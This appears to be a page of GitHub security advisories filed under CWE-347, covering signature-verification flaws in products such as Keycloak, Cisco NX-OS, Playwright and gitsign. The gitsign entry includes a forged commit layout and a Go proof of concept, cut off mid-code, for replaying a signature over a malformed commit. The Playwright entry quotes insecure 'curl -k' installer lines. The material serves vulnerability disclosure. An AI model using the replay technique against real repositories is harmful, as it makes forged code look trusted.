CWE-347
AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
1277 vulnerabilities reference this CWE, most recent first.
GHSA-7G2H-2MGX-VHPC
Vulnerability from github – Published: 2024-12-03 12:31 – Updated: 2024-12-03 12:31Dell NetWorker Management Console, version(s) 19.11, contain(s) an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Code execution.
{
"affected": [],
"aliases": [
"CVE-2024-47476"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-03T10:15:05Z",
"severity": "HIGH"
},
"details": "Dell NetWorker Management Console, version(s) 19.11, contain(s) an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Code execution.",
"id": "GHSA-7g2h-2mgx-vhpc",
"modified": "2024-12-03T12:31:11Z",
"published": "2024-12-03T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47476"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000255884/dsa-2024-477-security-update-for-dell-networker-runtime-environment-nre-multiple-component-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7G3P-MPGP-Q5C5
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2023-03-24 18:30A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software patch on an affected device. The vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.
{
"affected": [],
"aliases": [
"CVE-2019-1809"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-15T23:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software patch on an affected device. The vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.",
"id": "GHSA-7g3p-mpgp-q5c5",
"modified": "2023-03-24T18:30:22Z",
"published": "2022-05-24T16:45:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1809"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-psvb"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7G5X-9C4V-4W5R
Vulnerability from github – Published: 2026-02-27 09:30 – Updated: 2026-02-28 02:44A flaw was found in Keycloak’s WebAuthn registration component. This vulnerability allows an attacker to bypass the configured attestation policy and register untrusted or forged authenticators via submission of an attestation object with fmt: "none", even when the realm is configured to require direct attestation. This can lead to weakened authentication integrity and unauthorized authenticator registration.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-12150"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:44:46Z",
"nvd_published_at": "2026-02-27T09:16:15Z",
"severity": "LOW"
},
"details": "A flaw was found in Keycloak\u2019s WebAuthn registration component. This vulnerability allows an attacker to bypass the configured attestation policy and register untrusted or forged authenticators via submission of an attestation object with fmt: \"none\", even when the realm is configured to require direct attestation. This can lead to weakened authentication integrity and unauthorized authenticator registration.",
"id": "GHSA-7g5x-9c4v-4w5r",
"modified": "2026-02-28T02:44:46Z",
"published": "2026-02-27T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12150"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/35110"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/43723"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/4136a677e7e24f6685ed25567e191e1003200339"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:21370"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:21371"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22089"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-12150"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2406192"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keycloak REST Services has a WebAuthn Attestation Statement Verification Bypass"
}
GHSA-7GH2-8Q93-87HP
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2023-10-05 19:26Wizkunde SAMLBase may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "gogentooss/samlbase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-5387"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-07T19:21:30Z",
"nvd_published_at": "2018-07-24T15:29:00Z",
"severity": "HIGH"
},
"details": "Wizkunde SAMLBase may incorrectly utilize the results of XML DOM traversal and canonicalization APIs in such a way that an attacker may be able to manipulate the SAML data without invalidating the cryptographic signature, allowing the attack to potentially bypass authentication to SAML service providers.",
"id": "GHSA-7gh2-8q93-87hp",
"modified": "2023-10-05T19:26:56Z",
"published": "2022-05-13T01:02:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5387"
},
{
"type": "WEB",
"url": "https://github.com/GoGentoOSS/SAMLBase/issues/3"
},
{
"type": "WEB",
"url": "https://github.com/GoGentoOSS/SAMLBase/commit/482cdf8c090e0f1179073034ebcb609ac7c3f5b3"
},
{
"type": "WEB",
"url": "https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations"
},
{
"type": "PACKAGE",
"url": "https://github.com/GoGentoOSS/SAMLBase"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/475445"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": " Wizkunde SAMLBase SAML Bypass"
}
GHSA-7JJM-882P-F82J
Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31Parallels Desktop Updater Improper Verification of Cryptographic Signature Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute low-privileged code on the target host system in order to exploit this vulnerability.
The specific flaw exists within the Updater service. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-21817.
{
"affected": [],
"aliases": [
"CVE-2023-50228"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:16:11Z",
"severity": "HIGH"
},
"details": "Parallels Desktop Updater Improper Verification of Cryptographic Signature Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute low-privileged code on the target host system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Updater service. The issue results from the lack of proper verification of a cryptographic signature. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Was ZDI-CAN-21817.",
"id": "GHSA-7jjm-882p-f82j",
"modified": "2024-05-03T03:31:06Z",
"published": "2024-05-03T03:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50228"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/en/125013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7JQ6-7F95-HV67
Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30Windows Cryptographic Services Security Feature Bypass Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-26228"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T17:15:42Z",
"severity": "HIGH"
},
"details": "Windows Cryptographic Services Security Feature Bypass Vulnerability",
"id": "GHSA-7jq6-7f95-hv67",
"modified": "2024-04-09T18:30:25Z",
"published": "2024-04-09T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26228"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7MVR-C777-76HP
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-24 20:05Summary
Use of curl with the -k (or --insecure) flag in installer scripts allows attackers to deliver arbitrary executables via Man-in-the-Middle (MitM) attacks. This can lead to full system compromise, as the downloaded files are installed as privileged applications.
Details
The following scripts in the microsoft/playwright repository at commit bee11cbc28f24bd18e726163d0b9b1571b4f26a8 use curl -k to fetch and install executable packages without verifying the authenticity of the SSL certificate:
packages/playwright-core/bin/reinstall_chrome_beta_mac.shpackages/playwright-core/bin/reinstall_chrome_stable_mac.shpackages/playwright-core/bin/reinstall_msedge_dev_mac.shpackages/playwright-core/bin/reinstall_msedge_beta_mac.shpackages/playwright-core/bin/reinstall_msedge_stable_mac.sh
In each case, the shell scripts download a browser installer package using curl -k and immediately install it:
curl --retry 3 -o ./<pkg-file> -k <url>
sudo installer -pkg /tmp/<pkg-file> -target /
Disabling SSL verification (-k) means the download can be intercepted and replaced with malicious content.
PoC
A high-level exploitation scenario:
- An attacker performs a MitM attack on a network where the victim runs one of these scripts.
- The attacker intercepts the HTTPS request and serves a malicious package (for example, a trojaned browser installer).
- Because
curl -kis used, the script downloads and installs the attacker's payload without any certificate validation. - The attacker's code is executed with system privileges, leading to full compromise.
No special configuration is needed: simply running these scripts on any untrusted or hostile network is enough.
Impact
This is a critical Remote Code Execution (RCE) vulnerability due to improper SSL certificate validation (CWE-295: Improper Certificate Validation). Any user or automation running these scripts is at risk of arbitrary code execution as root/admin, system compromise, data theft, or persistent malware installation. The risk is especially severe because browser packages are installed with elevated privileges and the scripts may be used in CI/CD or developer environments.
Fix
- https://github.com/microsoft/playwright/commit/72c62d840247d9defd87c6beb0344d456794b570
- https://github.com/microsoft/playwright/pull/37532
- https://github.com/microsoft/playwright/releases/tag/v1.56.0
Credit
- This vulnerability was uncovered by tooling by Socket
- This vulnerability was confirmed by @evilpacket
- This vulnerability was reported by @JLLeitschuh at Socket
Disclosure
- September 10th, 2025 - Disclosed to Microsoft privately via https://github.com/microsoft/playwright/security/advisories/GHSA-gx27-2j22-qcx8
- September 11th, 2025 - Reported to Microsoft via MSRC Researcher Portal - https://msrc.microsoft.com/report/vulnerability/VULN-162854
- September 11th, 2025 - Microsoft closed report as "Complete - N/A"
- September 18th, 2025 - Following a LinkedIn Post
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "playwright"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.55.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59288"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T14:19:32Z",
"nvd_published_at": "2025-10-14T17:16:11Z",
"severity": "HIGH"
},
"details": "### Summary\nUse of `curl` with the `-k` (or `--insecure`) flag in installer scripts allows attackers to deliver arbitrary executables via Man-in-the-Middle (MitM) attacks. This can lead to full system compromise, as the downloaded files are installed as privileged applications.\n\n### Details\nThe following scripts in the `microsoft/playwright` repository at commit [`bee11cbc28f24bd18e726163d0b9b1571b4f26a8`](https://github.com/microsoft/playwright/commit/bee11cbc28f24bd18e726163d0b9b1571b4f26a8) use `curl -k` to fetch and install executable packages without verifying the authenticity of the SSL certificate:\n\n\n- [`packages/playwright-core/bin/reinstall_chrome_beta_mac.sh`](https://github.com/microsoft/playwright/blob/bee11cbc28f24bd18e726163d0b9b1571b4f26a8/packages/playwright-core/bin/reinstall_chrome_beta_mac.sh)\n- [`packages/playwright-core/bin/reinstall_chrome_stable_mac.sh`](https://github.com/microsoft/playwright/blob/bee11cbc28f24bd18e726163d0b9b1571b4f26a8/packages/playwright-core/bin/reinstall_chrome_stable_mac.sh)\n- [`packages/playwright-core/bin/reinstall_msedge_dev_mac.sh`](https://github.com/microsoft/playwright/blob/bee11cbc28f24bd18e726163d0b9b1571b4f26a8/packages/playwright-core/bin/reinstall_msedge_dev_mac.sh)\n- [`packages/playwright-core/bin/reinstall_msedge_beta_mac.sh`](https://github.com/microsoft/playwright/blob/bee11cbc28f24bd18e726163d0b9b1571b4f26a8/packages/playwright-core/bin/reinstall_msedge_beta_mac.sh)\n- [`packages/playwright-core/bin/reinstall_msedge_stable_mac.sh`](https://github.com/microsoft/playwright/blob/bee11cbc28f24bd18e726163d0b9b1571b4f26a8/packages/playwright-core/bin/reinstall_msedge_stable_mac.sh)\n\nIn each case, the shell scripts download a browser installer package using `curl -k` and immediately install it:\n\n```shell\ncurl --retry 3 -o ./\u003cpkg-file\u003e -k \u003curl\u003e\nsudo installer -pkg /tmp/\u003cpkg-file\u003e -target /\n```\n\nDisabling SSL verification (`-k`) means the download can be intercepted and replaced with malicious content.\n\n### PoC\nA high-level exploitation scenario:\n\n1. An attacker performs a MitM attack on a network where the victim runs one of these scripts.\n2. The attacker intercepts the HTTPS request and serves a malicious package (for example, a trojaned browser installer).\n3. Because `curl -k` is used, the script downloads and installs the attacker\u0027s payload without any certificate validation.\n4. The attacker\u0027s code is executed with system privileges, leading to full compromise.\n\nNo special configuration is needed: simply running these scripts on any untrusted or hostile network is enough.\n\n### Impact\nThis is a critical Remote Code Execution (RCE) vulnerability due to improper SSL certificate validation (CWE-295: Improper Certificate Validation). Any user or automation running these scripts is at risk of arbitrary code execution as root/admin, system compromise, data theft, or persistent malware installation. The risk is especially severe because browser packages are installed with elevated privileges and the scripts may be used in CI/CD or developer environments.\n\n### Fix\n\n - https://github.com/microsoft/playwright/commit/72c62d840247d9defd87c6beb0344d456794b570\n - https://github.com/microsoft/playwright/pull/37532\n - https://github.com/microsoft/playwright/releases/tag/v1.56.0\n\n### Credit\n\n- This vulnerability was uncovered by tooling by [Socket](https://socket.dev/)\n- This vulnerability was confirmed by @evilpacket\n- This vulnerability was reported by @JLLeitschuh at Socket\n\n### Disclosure\n - September 10th, 2025 - Disclosed to Microsoft privately via https://github.com/microsoft/playwright/security/advisories/GHSA-gx27-2j22-qcx8\n - September 11th, 2025 - Reported to Microsoft via MSRC Researcher Portal - https://msrc.microsoft.com/report/vulnerability/VULN-162854\n - September 11th, 2025 - Microsoft closed report as \"Complete - N/A\"\n - September 18th, 2025 - Following a [LinkedIn Post](https://www.linkedin.com/posts/jonathan-leitschuh_its-a-sad-state-of-the-world-when-i-acknowledge-activity-7374601182117511168--wnI?utm_source=social_share_send\u0026utm_medium=member_desktop_web\u0026rcm=ACoAAA0SLMUBScBUspIv0-LQ1ecAwsqt5l81eG4)",
"id": "GHSA-7mvr-c777-76hp",
"modified": "2025-10-24T20:05:47Z",
"published": "2025-10-14T18:30:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SocketDev/security-research/security/advisories/GHSA-qxm8-4v54-964r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59288"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/playwright/pull/37532"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/playwright/commit/72c62d840247d9defd87c6beb0344d456794b570"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/playwright"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/playwright/releases/tag/v1.55.1"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/playwright/releases/tag/v1.56.0"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59288"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Playwright downloads and installs browsers without verifying the authenticity of the SSL certificate"
}
GHSA-7QHR-G3XW-3692
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17It is possible for an attacker to manipulate signed documents and macros to appear to come from a trusted source. All versions of Apache OpenOffice up to 4.1.10 are affected. Users are advised to update to version 4.1.11. See CVE-2021-25633 for the LibreOffice advisory.
{
"affected": [],
"aliases": [
"CVE-2021-41830"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-11T08:15:00Z",
"severity": "HIGH"
},
"details": "It is possible for an attacker to manipulate signed documents and macros to appear to come from a trusted source. All versions of Apache OpenOffice up to 4.1.10 are affected. Users are advised to update to version 4.1.11. See CVE-2021-25633 for the LibreOffice advisory.",
"id": "GHSA-7qhr-g3xw-3692",
"modified": "2022-05-24T19:17:14Z",
"published": "2022-05-24T19:17:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41830"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r97d287c88881aa581f1b18cb01e2cbedc4e6eae85958491acb89b12e%40%3Cusers.openoffice.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/raaab8a3b91f8d7b7ba14f873b8d0fd13952c823acc3385b7a374e754@%3Cannounce.apache.org%3E"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7R96-8G3X-G36M
Vulnerability from github – Published: 2021-06-28 17:16 – Updated: 2026-01-23 22:42Impact
The verifyWithMessage method of tEnvoyNaClSigningKey always returns true for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.
Patches
Upgrade to v7.0.3 immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable verifyWithMessage method.
Workarounds
In tenvoy.js under the verifyWithMessage method definition within the tEnvoyNaClSigningKey class, ensure that the return statement call to this.verify ends in .verified. For example, the return statement should start with return this.verify(signed, password).verified && instead of return this.verify(signed, password) &&.
For more information
If you have any questions or comments about this advisory: * Open an issue in github.com/TogaTech/tEnvoy
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tenvoy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32685"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-16T20:14:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Impact\nThe `verifyWithMessage` method of `tEnvoyNaClSigningKey` always returns `true` for any signature of a SHA-512 hash matching the SHA-512 hash of the message even if the signature is invalid.\n\n### Patches\nUpgrade to `v7.0.3` immediately to resolve this issue. Since the vulnerability lies within the verification method, the previous signatures are still valid. We highly recommend reverifying any signatures that were previously verified with the vulnerable `verifyWithMessage` method.\n\n### Workarounds\nIn `tenvoy.js` under the `verifyWithMessage` method definition within the `tEnvoyNaClSigningKey` class, ensure that the return statement call to `this.verify` ends in `.verified`. For example, the return statement should start with `return this.verify(signed, password).verified \u0026\u0026 ` instead of `return this.verify(signed, password) \u0026\u0026 `.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [github.com/TogaTech/tEnvoy](https://github.com/TogaTech/tEnvoy)",
"id": "GHSA-7r96-8g3x-g36m",
"modified": "2026-01-23T22:42:09Z",
"published": "2021-06-28T17:16:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TogaTech/tEnvoy/security/advisories/GHSA-7r96-8g3x-g36m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32685"
},
{
"type": "WEB",
"url": "https://github.com/TogaTech/tEnvoy/commit/a121b34a45e289d775c62e58841522891dee686b"
},
{
"type": "PACKAGE",
"url": "https://github.com/TogaTech/tEnvoy"
},
{
"type": "WEB",
"url": "https://github.com/TogaTech/tEnvoy/releases/tag/v7.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Verification of Cryptographic Signature"
}
GHSA-7RMH-48MX-2VWC
Vulnerability from github – Published: 2026-05-08 22:38 – Updated: 2026-05-15 23:49Summary
gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.
Severity
Medium (CVSS 3.1: 5.7)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
- Attack Vector: Network — a malformed commit can be distributed via any accessible git remote
- Attack Complexity: High — exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
- Privileges Required: None — the most impactful form (signature replay) requires no signing key
- User Interaction: Required — a victim must run
gitsign verifyon the malformed commit - Scope: Unchanged — impact is confined to the repository under verification
- Confidentiality Impact: None
- Integrity Impact: High — a verified signature appears to endorse content different from what git-core resolves and presents to users
- Availability Impact: None
Affected Component
internal/commands/verify/verify.go—(o *options).Run(line 75)internal/commands/verify-tag/verify_tag.go—(o *options).Run(line 77)pkg/git/verify.go—ObjectHash(lines 126–158, specifically thecommit()round-trip at 161–176)
CWE
- CWE-347: Improper Verification of Cryptographic Signature
- CWE-295: Improper Certificate Validation (secondary — the mismatch allows a cert to appear to cover content it never covered)
Description
Root cause: re-encoding instead of raw-byte verification
When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:
// internal/commands/verify/verify.go:63–92
c, err := repo.CommitObject(*h) // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil { // re-encodes canonical form
return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)
summary, err := v.Verify(ctx, data, sig, true) // verifies re-encoded bytes, not raw bytes
The same pattern appears in verify-tag:
// internal/commands/verify-tag/verify_tag.go:76–95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
return err
}
The loose-parsing assumption in go-git
The codebase itself acknowledges the problem in ObjectHash:
// pkg/git/verify.go:137–142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
encoder, err = commit(obj, sig)
go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree — which can differ from what git-core resolves.
Divergent verification paths confirm the inconsistency
The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:
// internal/commands/root/verify.go:56–70
detached := len(args) >= 2
if detached {
data, sig, err = readDetached(s, args...) // raw bytes from git-core
} else {
sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true) // raw bytes, no re-encoding
The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).
Concrete attack: signature replay without a signing key
An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:
tree T1 ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature over T1 canonical form>
-----END SIGNED MESSAGE-----
This is Alice's commit.
An attacker crafts a new malformed commit object:
tree T2 ← attacker's malicious tree (git-core uses this)
tree T1 ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
<Alice's valid signature — replayed verbatim>
-----END SIGNED MESSAGE-----
This is Alice's commit.
gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."git log/git-core: uses T2 (attacker-controlled content).- Rekor lookup:
ObjectHashalso goes through the go-git round-trip, so the logged hash is the T1-canonical hash — consistent with the forged verification output but not with the actual raw object.
The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.
Proof of Concept
// poc_tree_mismatch.go — run from repo root: go run ./poc_tree_mismatch.go
package main
import (
"context"
"crypto"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"fmt"
"io"
"math/big"
"strings"
"time"
"github.com/go-git/go-git/v5/plumbing"
"github.com/go-git/go-git/v5/plumbing/object"
"github.com/go-git/go-git/v5/storage/memory"
"github.com/sigstore/gitsign/internal/signature"
ggit "github.com/sigstore/gitsign/pkg/git"
)
type identity struct {
cert *x509.Certificate
priv crypto.Signer
}
func (i *identity) Certificate() (*x509.Certificate, error) { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error) { return i.priv, nil }
func (i *identity) Delete() error { return nil }
func (i *identity) Close() {}
func indentSig(sig string) string {
sig = strings.TrimSuffix(sig, "\n")
lines := strings.Split(sig, "\n")
out := "gpgsig " + lines[0] + "\n"
for _, ln := range lines[1:] {
out += " " + ln + "\n"
}
return out
}
func main() {
priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
tmpl := &x509.Certificate{
SerialNumber: big.NewInt(1),
Subject: pkix.Name{CommonName: "attacker"},
NotBefore: time.Now().Add(-time.Minute),
NotAfter: time.Now().Add(time.Hour),
KeyUsage: x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
BasicConstraintsValid: true,
}
rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
cert, _ := x509.ParseCertificate(rawCert)
treeFirst := strings.Repeat("a", 40) // git-core uses this
treeSecond := strings.Repeat("b", 40) // go-git uses this
author := "author Eve <eve@example.com> 1700000000 +0000"
committer := "committer Eve <eve@example.com> 1700000000 +0000"
msg := "msg\n"
// Sign the go-git canonical form (second tree only)
canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
id := &identity{cert: cert, priv: priv}
resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
if err != nil {
panic(err)
}
// Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)
st := memory.NewStorage()
enc := st.NewEncodedObject()
enc.SetType(plumbing.CommitObject)
w, _ := enc.Writer()
_, _ = w.Write([]byte(malformedRaw))
_ = w.Close()
c, err := object.DecodeCommit(st, enc)
if err != nil {
panic(err)
}
// Reproduce what gitsign verify does
out := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(out); err != nil {
panic(err)
}
r, _ := out.Reader()
verifyData, _ := io.ReadAll(r)
roots := x509.NewCertPool()
roots.AddCert(cert)
v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
_, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)
